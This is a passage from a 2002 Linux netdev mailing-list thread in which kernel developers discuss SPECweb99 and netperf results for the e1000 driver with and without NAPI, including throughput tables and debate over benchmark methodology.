netdev From: Andrew Morton Date: Fri, 06 Sep 2002 00:36:04 -0700 "David S. Miller" wrote: > NAPI is also not the panacea to all problems in the world. Mala did some testing on this a couple of weeks back. It appears that NAPI damaged performance significantly. http://www-124.ibm.com/developerworks/opensource/linuxperf/netperf/results/july_02/netperf2.5.25results.htm Unfortunately it is not listed what e1000 and core NAPI patch was used. Also, not listed, are the RX/TX mitigation and ring sizes given to the kernel module upon loading. Robert can comment on optimal settings Robert and Jamal can make a more detailed analysis of Mala's graphs than I. From hadi@cyberus.ca Fri Sep 6 02:57:24 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 02:57:28 -0700 (PDT) Received: from cyberus.ca (mail.cyberus.ca [216.191.240.111]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g869vNtG023611 for ; Fri, 6 Sep 2002 02:57:23 -0700 Received: from shell.cyberus.ca (shell [216.191.240.114]) by cyberus.ca (8.9.3/8.9.3/Cyberus Online Inc.) with ESMTP id GAA07285; Fri, 6 Sep 2002 06:01:06 -0400 (EDT) Received: from localhost (hadi@localhost) by shell.cyberus.ca (8.11.6+Sun/8.11.6) with ESMTP id g869s9m22602; Fri, 6 Sep 2002 05:54:10 -0400 (EDT) X-Authentication-Warning: shell.cyberus.ca: hadi owned process doing -bs Date: Fri, 6 Sep 2002 05:54:09 -0400 (EDT) From: jamal To: "David S. Miller" cc: , , , , , , Robert Olsson Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <20020906.002253.32989079.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 92 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Fri, 6 Sep 2002, David S. Miller wrote: > Mala did some testing on this a couple of weeks back. It appears that > NAPI damaged performance significantly. > > http://www-124.ibm.com/developerworks/opensource/linuxperf/netperf/results/july_02/netperf2.5.25results.htm > > Unfortunately it is not listed what e1000 and core NAPI > patch was used. Also, not listed, are the RX/TX mitigation > and ring sizes given to the kernel module upon loading. > > Robert can comment on optimal settings > > Robert and Jamal can make a more detailed analysis of Mala's > graphs than I. I looked at those graphs, but the lack of information makes them useless. For example there are too many variables to the tests -- what is the effect the message size? and then look at the socket buffer size, would you set it to 64K if you are trying to show perfomance numbers? What other tcp settings are there? Manfred Spraul about a year back complained about some performance issues in low load setups (which is what this IBM setup seems to be if you count the pps to the server); its one of those things that have been low in the TODO deck. The issue maybe legit not because NAPI is bad but because it is too good. I dont have the e1000, but i have some Dlinks giges still in boxes and i have a two-CPU SMP machine; I'll setup the testing this weekend. In the case of Manfred, we couldnt reproduce the tests because he had this odd weird NIC; in this case at least access to the e1000 doesnt require a visit to the museum. cheers, jamal From Robert.Olsson@data.slu.se Fri Sep 6 04:33:20 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 04:33:22 -0700 (PDT) Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86BXItG025819 for ; Fri, 6 Sep 2002 04:33:19 -0700 Received: (from robert@localhost) by robur.slu.se (8.9.3/8.9.3) id NAA25206; Fri, 6 Sep 2002 13:44:34 +0200 From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15736.38178.445310.714015@robur.slu.se> Date: Fri, 6 Sep 2002 13:44:34 +0200 To: "David S. Miller" Cc: akpm@zip.com.au, Martin.Bligh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com, Robert.Olsson@data.slu.se Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 X-Mailer: VM 6.92 under Emacs 19.34.1 X-archive-position: 93 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev David S. Miller writes: > Mala did some testing on this a couple of weeks back. It appears that > NAPI damaged performance significantly. > > http://www-124.ibm.com/developerworks/opensource/linuxperf/netperf/results/july_02/netperf2.5.25results.htm > > Robert can comment on optimal settings Hopefully yes... I see other numbers so we have to sort out the differences. Andrew Morton pinged me about this test last week. So I've had a chance to run some tests. Some comments: Scale to CPU can be dangerous measure w. NAPI due to its adapting behaviour where RX interrupts decreases in favour of successive polls. And NAPI scheme behaves different since we can not assume that all network traffic is well-behaved like TCP. System has to be manageable and to "perform" under any network load not only for well-behaved TCP. So of course we will see some differences -- there are no free lunch. Simply we can not blindly look at one test. IMO NAPI is the best overall performer. The number speaks for themselves. Here is the most recent test... NAPI kernel path is included in 2.4.20-pre4 the comparison below is mainly between e1000 driver w and w/o NAPI and the NAPI port to e1000 is still evolving. Linux 2.4.20-pre4/UP PIII @ 933 MHz w. Intel's e100 2 port GIGE adapter. e1000 4.3.2-k1 (current kernel version) and current NAPI patch. For NAPI e1000 driver uses RxIntDelay=1. RxIntDewlay=0 caused problem. Non-NAPI driver RxIntDelay=64. (default) Three tests: TCP, UDP, packet forwarding. Netperf. TCP socket size 131070, Single TCP stream. Test length 30 s. M-size e1000 NAPI-e1000 ============================ 4 20.74 20.69 Mbit/s data received. 128 458.14 465.26 512 836.40 846.71 1024 936.11 937.93 2048 940.65 939.92 4096 940.86 937.59 8192 940.87 939.95 16384 940.88 937.61 32768 940.89 939.92 65536 940.90 939.48 131070 940.84 939.74 Netperf. UDP_STREAM. 1440 pkts. Single UDP stream. Test length 30 s. e1000 NAPI-e1000 ==================================== 955.7 955.7 Mbit/s data received. Forwarding test. 1 Mpkts at 970 kpps injected. e1000 NAPI-e1000 ============================================= T-put 305 298580 pkts routed. NOTE! With non-NAPI driver this system is "dead" an performes nothing. Cheers. --ro From Martin.Bligh@us.ibm.com Fri Sep 6 07:26:43 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 07:26:49 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86EQhtG028189 for ; Fri, 6 Sep 2002 07:26:43 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e35.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86EUmf4010890; Fri, 6 Sep 2002 10:30:48 -0400 Received: from [10.10.2.3] (sig-9-65-197-17.mts.ibm.com [9.65.197.17]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86EUhWq236360; Fri, 6 Sep 2002 08:30:44 -0600 Date: Fri, 06 Sep 2002 07:29:21 -0700 From: "Martin J. Bligh" Reply-To: "Martin J. Bligh" To: "David S. Miller" cc: hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Message-ID: <46202575.1031297360@[10.10.2.3]> In-Reply-To: <20020905.235159.128049953.davem@redhat.com> References: <20020905.235159.128049953.davem@redhat.com> X-Mailer: Mulberry/2.1.2 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 94 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Martin.Bligh@us.ibm.com Precedence: bulk X-list: netdev > Stupid question, are you sure you have CONFIG_E1000_NAPI enabled? > > NAPI is also not the panacea to all problems in the world. No, but I didn't expect throughput to drop by 40% or so either, which is (very roughly) what happened. Interrupts are a pain to manage and do affinity with, so NAPI should (at least in theory) be better for this kind of setup ... I think. > I bet your greatest gain would be obtained from going to Tux > and using appropriate IRQ affinity settings and making sure > Tux threads bind to same cpu as device where they accept > connections. > > It is standard method to obtain peak specweb performance. Ah, but that's not really our goal - what we're trying to do is use specweb as a tool to simulate a semi-realistic customer workload, and improve the Linux kernel performance, using that as our yardstick for measuring ourselves. For that I like the setup we have reasonably well, even though it won't get us the best numbers. To get the best benchmark numbers, you're absolutely right though. M. From Martin.Bligh@us.ibm.com Fri Sep 6 07:34:43 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 07:34:47 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86EYhtG028606 for ; Fri, 6 Sep 2002 07:34:43 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e35.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86Ecjf4022240; Fri, 6 Sep 2002 10:38:45 -0400 Received: from [10.10.2.3] (sig-9-65-197-17.mts.ibm.com [9.65.197.17]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86EcXWq270926; Fri, 6 Sep 2002 08:38:39 -0600 Date: Fri, 06 Sep 2002 07:37:16 -0700 From: "Martin J. Bligh" Reply-To: "Martin J. Bligh" To: Robert Olsson , "David S. Miller" cc: akpm@zip.com.au, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Message-ID: <46676537.1031297834@[10.10.2.3]> In-Reply-To: <15736.38178.445310.714015@robur.slu.se> References: <15736.38178.445310.714015@robur.slu.se> X-Mailer: Mulberry/2.1.2 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 95 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Martin.Bligh@us.ibm.com Precedence: bulk X-list: netdev > And NAPI scheme behaves different since we can not assume that all network > traffic is well-behaved like TCP. System has to be manageable and to "perform" > under any network load not only for well-behaved TCP. So of course we will > see some differences -- there are no free lunch. Simply we can not blindly > look at one test. IMO NAPI is the best overall performer. The number speaks > for themselves. I don't doubt it's a win for most cases, we just want to reap the benefit for the large SMP systems as well ... the fundamental mechanism seems very scalable to me, we probably just need to do a little tuning? > NAPI kernel path is included in 2.4.20-pre4 the comparison below is mainly > between e1000 driver w and w/o NAPI and the NAPI port to e1000 is still > evolving. We are running from 2.5.latest ... any updates needed for NAPI for the driver in the current 2.5 tree, or is that OK? Thanks, Martin. From haveblue@us.ibm.com Fri Sep 6 08:26:38 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 08:26:43 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86FPvtG030607 for ; Fri, 6 Sep 2002 08:25:57 -0700 Received: from northrelay01.pok.ibm.com (northrelay01.pok.ibm.com [9.56.224.149]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86FTdEG055312; Fri, 6 Sep 2002 11:29:40 -0400 Received: from nighthawk.sr71.net (sig-9-65-11-88.mts.ibm.com [9.65.11.88]) by northrelay01.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86FTZtW134046; Fri, 6 Sep 2002 11:29:36 -0400 Received: from us.ibm.com (nighthawk [127.0.0.1]) by nighthawk.sr71.net (8.11.6/8.11.6) with ESMTP id g86FT1K07233; Fri, 6 Sep 2002 08:29:01 -0700 Message-ID: <3D78C9BD.5080905@us.ibm.com> Date: Fri, 06 Sep 2002 08:29:01 -0700 From: Dave Hansen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020822 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Martin J. Bligh" CC: "David S. Miller" , hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Nivedita Singhvi Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <20020905.204721.49430679.davem@redhat.com> <18563262.1031269721@[10.10.2.3]> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 96 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: haveblue@us.ibm.com Precedence: bulk X-list: netdev Martin J. Bligh wrote: > Just to throw another firework into the fire whilst people are > awake, NAPI does not seem to scale to this sort of load, which > was disappointing, as we were hoping it would solve some of > our interrupt load problems ... seems that half the machine goes > idle, the number of simultaneous connections drop way down, and > everything's blocked on ... something ... not sure what ;-) > Any guesses at why, or ways to debug this? I thought that I already tried to explain this to you. (although it could have been on one of those too-much-coffee-days :) Something strange happens to the clients when NAPI is enabled on the Specweb clients. Somehow the start using a lot more CPU. The increased idle time on the server is because the _clients_ are CPU maxed. I have some preliminary oprofile data for the clients, but it appears that this is another case of Specweb code just really sucking. The real question is why NAPI causes so much more work for the client. I'm not convinced that it is much, much greater, because I believe that I was already at the edge of the cliff with my clients and NAPI just gave them a little shove :). Specweb also takes a while to ramp up (even during the real run), so sometimes it takes a few minutes to see the clients get saturated. -- Dave Hansen haveblue@us.ibm.com From Robert.Olsson@data.slu.se Fri Sep 6 08:30:09 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 08:30:12 -0700 (PDT) Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86FU7tG031043 for ; Fri, 6 Sep 2002 08:30:08 -0700 Received: (from robert@localhost) by robur.slu.se (8.9.3/8.9.3) id RAA28899; Fri, 6 Sep 2002 17:38:19 +0200 From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15736.52203.840229.604858@robur.slu.se> Date: Fri, 6 Sep 2002 17:38:19 +0200 To: "Martin J. Bligh" Cc: Robert Olsson , "David S. Miller" , akpm@zip.com.au, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <46676537.1031297834@[10.10.2.3]> References: <15736.38178.445310.714015@robur.slu.se> <46676537.1031297834@[10.10.2.3]> X-Mailer: VM 6.92 under Emacs 19.34.1 X-archive-position: 97 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Martin J. Bligh writes: > We are running from 2.5.latest ... any updates needed for NAPI for the > driver in the current 2.5 tree, or is that OK? Should be OK. Get latest kernel e1000 to get Intel's and maintainers latest work and apply the e1000 NAPI patch. RH includes this patch? And yes there are plenty of room for improvements... Cheers. --ro From haveblue@us.ibm.com Fri Sep 6 08:35:00 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 08:35:02 -0700 (PDT) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86FYxtG031436 for ; Fri, 6 Sep 2002 08:35:00 -0700 Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.56.224.151]) by e2.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86Fd3IV315698; Fri, 6 Sep 2002 11:39:03 -0400 Received: from nighthawk.sr71.net (sig-9-65-11-88.mts.ibm.com [9.65.11.88]) by northrelay03.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86FcxUK067968; Fri, 6 Sep 2002 11:38:59 -0400 Received: from us.ibm.com (nighthawk [127.0.0.1]) by nighthawk.sr71.net (8.11.6/8.11.6) with ESMTP id g86FcUK07301; Fri, 6 Sep 2002 08:38:30 -0700 Message-ID: <3D78CBF6.10609@us.ibm.com> Date: Fri, 06 Sep 2002 08:38:30 -0700 From: Dave Hansen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020822 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Martin J. Bligh" CC: "David S. Miller" , hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <20020905.235159.128049953.davem@redhat.com> <46202575.1031297360@[10.10.2.3]> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 98 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: haveblue@us.ibm.com Precedence: bulk X-list: netdev Martin J. Bligh wrote: >>Stupid question, are you sure you have CONFIG_E1000_NAPI enabled? >> >>NAPI is also not the panacea to all problems in the world. > > No, but I didn't expect throughput to drop by 40% or so either, > which is (very roughly) what happened. Interrupts are a pain to > manage and do affinity with, so NAPI should (at least in theory) > be better for this kind of setup ... I think. No, no. Bad Martin! Throughput didn't drop, "Specweb compliance" dropped. Those are two very, very different things. I've found that the server can produce a lot more throughput, although it doesn't have the characteristics that Specweb considers compliant. Just have Troy enable mod-status and look at the throughput that Apache tells you that it is giving during a run. _That_ is real throughput, not number of compliant connections. _And_ NAPI is for receive only, right? Also, my compliance drop occurs with the NAPI checkbox disabled. There is something else in the new driver that causes our problems. -- Dave Hansen haveblue@us.ibm.com From Martin.Bligh@us.ibm.com Fri Sep 6 09:08:23 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 09:08:29 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86G8NtG032145 for ; Fri, 6 Sep 2002 09:08:23 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e35.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86GCSf4019858; Fri, 6 Sep 2002 12:12:29 -0400 Received: from [10.10.2.3] (sig-9-65-197-17.mts.ibm.com [9.65.197.17]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86GCNWq244550; Fri, 6 Sep 2002 10:12:24 -0600 Date: Fri, 06 Sep 2002 09:11:05 -0700 From: "Martin J. Bligh" Reply-To: "Martin J. Bligh" To: Dave Hansen cc: "David S. Miller" , hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Message-ID: <52305571.1031303463@[10.10.2.3]> In-Reply-To: <3D78CBF6.10609@us.ibm.com> References: <3D78CBF6.10609@us.ibm.com> X-Mailer: Mulberry/2.1.2 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 99 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Martin.Bligh@us.ibm.com Precedence: bulk X-list: netdev > No, no. Bad Martin! Throughput didn't drop, "Specweb compliance" > dropped. Those are two very, very different things. I've found > that the server can produce a lot more throughput, although it > doesn't have the characteristics that Specweb considers compliant. > Just have Troy enable mod-status and look at the throughput that > Apache tells you that it is giving during a run. _That_ is real > throughput, not number of compliant connections. By throughput I meant number of compliant connections, not bandwidth. It may well be latency that's going out the window, rather than bandwidth. Yes, I should use more precise terms ... > _And_ NAPI is for receive only, right? Also, my compliance drop > occurs with the NAPI checkbox disabled. There is something else > in the new driver that causes our problems. Not sure about that - I was told once that there were transmission completion interrupts as well? What happens to those? Or am I confused again ... M. From niv@us.ibm.com Fri Sep 6 09:17:39 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 09:17:41 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86GHctG032579 for ; Fri, 6 Sep 2002 09:17:39 -0700 Received: from northrelay01.pok.ibm.com (northrelay01.pok.ibm.com [9.56.224.149]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86GLhEG011500; Fri, 6 Sep 2002 12:21:43 -0400 Received: from smtp.linux.ibm.com (ltc-eth1000.torolab.ibm.com [9.26.4.197]) by northrelay01.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86GLOtW120312; Fri, 6 Sep 2002 12:21:42 -0400 Received: from imap.linux.ibm.com (imap.linux.ibm.com [9.27.103.44]) by smtp.linux.ibm.com (Postfix) with ESMTP id 0F3FE3FE06; Fri, 6 Sep 2002 12:21:24 -0400 (EDT) Received: by imap.linux.ibm.com (Postfix, from userid 99) id 1A0C623C00D; Fri, 6 Sep 2002 12:21:24 -0400 (EDT) Received: from 9.47.18.15 ( [9.47.18.15]) as user niv@imap.linux.ibm.com by imap.linux.ibm.com with HTTP; Fri, 6 Sep 2002 09:21:23 -0700 Message-ID: <1031329283.3d78d603ba4c3@imap.linux.ibm.com> Date: Fri, 6 Sep 2002 09:21:23 -0700 From: Nivedita Singhvi To: Dave Hansen Cc: "Martin J. Bligh" , "David S. Miller" , hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <20020905.235159.128049953.davem@redhat.com> <46202575.1031297360@[10.10.2.3]> <3D78CBF6.10609@us.ibm.com> In-Reply-To: <3D78CBF6.10609@us.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.0 X-Originating-IP: 9.47.18.15 X-archive-position: 100 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Quoting Dave Hansen : > No, no. Bad Martin! Throughput didn't drop, "Specweb compliance" > dropped. Those are two very, very different things. I've found that > the server can produce a lot more throughput, although it doesn't > have the characteristics that Specweb considers compliant. > Just have Troy enable mod-status and look at the throughput that > Apache tells you that it is giving during a run. > _That_ is real throughput, not number of compliant connections. > _And_ NAPI is for receive only, right? Also, my compliance drop > occurs with the NAPI checkbox disabled. There is something else in > the new driver that causes our problems. Thanks, Dave, you saved me a bunch of typing... Just looking at a networking benchmark result is worse than useless. You really need to look at the stats, settings, and the profiles. eg, for most of the networking stuff: ifconfig -a netstat -s netstat -rn /proc/sys/net/ipv4/ /proc/sys/net/core/ before and after the run. Dave, although in your setup the clients are maxed out, not sure thats the case for Mala and Troy's clients. (Dont know, of course). But I'm fairly sure they arent using single quad NUMAs and they may not be seeing the same effects.. thanks, Nivedita From Martin.Bligh@us.ibm.com Fri Sep 6 09:27:08 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 09:27:09 -0700 (PDT) Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86GR7tG000587 for ; Fri, 6 Sep 2002 09:27:07 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86GVIDf042658; Fri, 6 Sep 2002 12:31:18 -0400 Received: from [10.10.2.3] (sig-9-65-197-17.mts.ibm.com [9.65.197.17]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86GV7Wq222410; Fri, 6 Sep 2002 10:31:09 -0600 Date: Fri, 06 Sep 2002 09:29:50 -0700 From: "Martin J. Bligh" Reply-To: "Martin J. Bligh" To: Dave Hansen cc: "David S. Miller" , hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Nivedita Singhvi Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Message-ID: <53430559.1031304588@[10.10.2.3]> In-Reply-To: <3D78C9BD.5080905@us.ibm.com> References: <3D78C9BD.5080905@us.ibm.com> X-Mailer: Mulberry/2.1.2 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 101 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Martin.Bligh@us.ibm.com Precedence: bulk X-list: netdev > I thought that I already tried to explain this to you. (although > it could have been on one of those too-much-coffee-days :) You told me, but I'm far from convinced this is the problem. I think it's more likely this is a side-effect of a server issue - something like a lot of dropped packets and retransmits, though not necessarily that. > Something strange happens to the clients when NAPI is enabled on > the Specweb clients. Somehow the start using a lot more CPU. > The increased idle time on the server is because the _clients_ are > CPU maxed. I have some preliminary oprofile data for the clients, > but it appears that this is another case of Specweb code just > really sucking. Hmmm ... if you change something on the server, and all the clients go wild, I'm suspicious of whatever you did to the server. You need to have a lot more data before leaping to the conclusion that it's because the specweb client code is crap. Troy - I think your UP clients weren't anywhere near maxed out on CPU power, right? Can you take a peek at the clients under NAPI load? Dave - did you ever try running 4 specweb clients bound to each of the 4 CPUs in an attempt to make the clients scale better? I'm suspicious that you're maxing out 4 4-way machines, and Troy's 16 UPs are cruising along just fine. M. From gerrit@us.ibm.com Fri Sep 6 10:22:42 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 10:22:47 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86HMgtG001759 for ; Fri, 6 Sep 2002 10:22:42 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e35.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86HQmf4019574; Fri, 6 Sep 2002 13:26:48 -0400 Received: from w-gerrit2 (dyn9-47-17-91.beaverton.ibm.com [9.47.17.91]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86HQlWq051064; Fri, 6 Sep 2002 11:26:47 -0600 Received: from w-gerrit2 ([127.0.0.1] helo=us.ibm.com ident=gerrit) by w-gerrit2 with esmtp (Exim 3.35 #1 (Debian)) id 17nMs2-0003F6-00; Fri, 06 Sep 2002 10:26:14 -0700 To: "Martin J. Bligh" cc: "David S. Miller" , hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Nivedita Singhvi Reply-To: Gerrit Huizenga From: Gerrit Huizenga Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-reply-to: Your message of Thu, 05 Sep 2002 23:48:42 PDT. <18563262.1031269721@[10.10.2.3]> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <12464.1031333164.1@us.ibm.com> Date: Fri, 06 Sep 2002 10:26:04 -0700 Message-Id: X-archive-position: 102 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gh@us.ibm.com Precedence: bulk X-list: netdev In message <18563262.1031269721@[10.10.2.3]>, > : "Martin J. Bligh" writes: > > I would think shoving the data down the NIC > > and avoid the fragmentation shouldnt give you that much significant > > CPU savings. > > > > It's the DMA bandwidth saved, most of the specweb runs on x86 hardware > > is limited by the DMA throughput of the PCI host controller. In > > particular some controllers are limited to smaller DMA bursts to > > work around hardware bugs. > > I think we're CPU limited (there's no idle time on this machine), > which is odd for an 8 CPU 900MHz P3 Xeon, but still, this is Apache, > not Tux. You mentioned CPU load as another advantage of TSO ... > anything we've done to reduce CPU load enables us to run more and > more connections (I think we started at about 260 or something, so > 2900 ain't too bad ;-)). Troy, is there any chance you could post an oprofile from any sort of reasonably conformant run? I think that might help enlighten people a bit as to what we are fighting with. The last numbers I remember seemed to indicate that we were spending about 1.25 CPUs in network/e1000 code with 100% CPU utilization and crappy SpecWeb throughput. One of our goals is to actually take the next generation of the most common "large system" web server and get it to scale along the lines of Tux or some of the other servers which are more common on the small machines. For some reasons, big corporate customers want lots of features that are in a web server like apache and would also like the performance on their 8-CPU or 16-CPU machine to not suck at the same time. High ideals, I know, wanting all features *and* performance from the same tool... Next thing you know they'll want reliability or some such thing. gerrit From haveblue@us.ibm.com Fri Sep 6 10:33:04 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 10:33:06 -0700 (PDT) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86HX3tG002670 for ; Fri, 6 Sep 2002 10:33:03 -0700 Received: from northrelay01.pok.ibm.com (northrelay01.pok.ibm.com [9.56.224.149]) by e3.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86Hb9lN126310; Fri, 6 Sep 2002 13:37:09 -0400 Received: from nighthawk.sr71.net (dyn9-47-17-248.beaverton.ibm.com [9.47.17.248]) by northrelay01.pok.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86Hb5tW090826; Fri, 6 